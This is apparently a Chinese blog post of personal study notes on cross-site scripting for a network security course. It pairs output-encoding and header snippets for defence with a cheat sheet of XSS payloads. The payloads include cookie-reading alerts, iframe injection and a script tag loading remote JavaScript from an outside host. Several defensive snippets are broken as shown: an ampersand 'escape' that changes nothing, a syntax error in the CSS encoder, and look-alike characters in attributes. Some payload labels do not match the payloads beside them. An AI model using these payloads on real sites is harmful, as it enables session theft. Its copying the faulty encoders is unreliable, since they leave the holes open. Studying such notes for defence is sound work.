NEU网络攻防XSS--Attack(个人笔记,仅供参考)

Xss防御
1.
function encodeForHTML(str, kwargs){
 return ('' + str)
 .replace(/&/g, '&')
 .replace(/</g, '&lt;') // DEC=> &#60; HEX=> &#x3c; Entity=> &lt;
 .replace(/>/g, '&gt;')
 .replace(/"/g, '&quot;')
 .replace(/'/g, '&#x27;') // &apos; 
 .replace(/\//g, '&#x2F;');
 }; 

2、
function encodeForHTMLAttibute(str, kwargs){
let encoded = '';
 for(let i = 0; i < str.length; i++) {
 let ch = hex = str[i];
 if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
 hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
 }
 encoded += hex;
 }
 return encoded;
 }; 

3、
function encodeForJavascript(str, kwargs) {
 let encoded = '';
 for(let i = 0; i < str.length; i++) {
 let cc = hex = str[i];
 if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
 hex = '\\x' + cc.charCodeAt().toString(16);
 }
 encoded += hex;
 }
 return encoded;
 }; 
4、
function encodeForURL(str, kwargs){
 return encodeURIComponent(str);
};

5、
function encodeForCSS (attr, str, kwargs){
 let encoded = '';
 for (let i = 0; i < str.length; i++) {
 let ch = str.charAt(i);
 if (!ch.match(/[a-zA-Z0-9]/) {
 let hex = str.charCodeAt(i).toString(16);
 let pad = '000000'.substr((hex.length));
 encoded += '\\' + pad + hex;
 } else {
 encoded += ch;
 }
 }
 return encoded;
 };


6、
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

7、
Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(dirtyInput, policy);
MyUserDao.storeUserProfile(cr.getCleanHTML());

8<span>${username}</span>
<p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />

9<system.webServer>
  ...
  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>
 
10.
<input type="button" οnclick='go_to_url("${myUrl}");' />


Xss 攻击
1.获取用户的cookie

<script>alert(document.cookie)</script>

οnclick=alert(document.cookie)

2. Disrupt page layout

<iframe src="http://baidu.com"></iframe>

<script>alert("hello")</script>

3. Normal XSS JavaScript injection
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

4.IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

5.IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

6.IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

7.HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

8.修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>>

9.formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

10.嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);>



评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值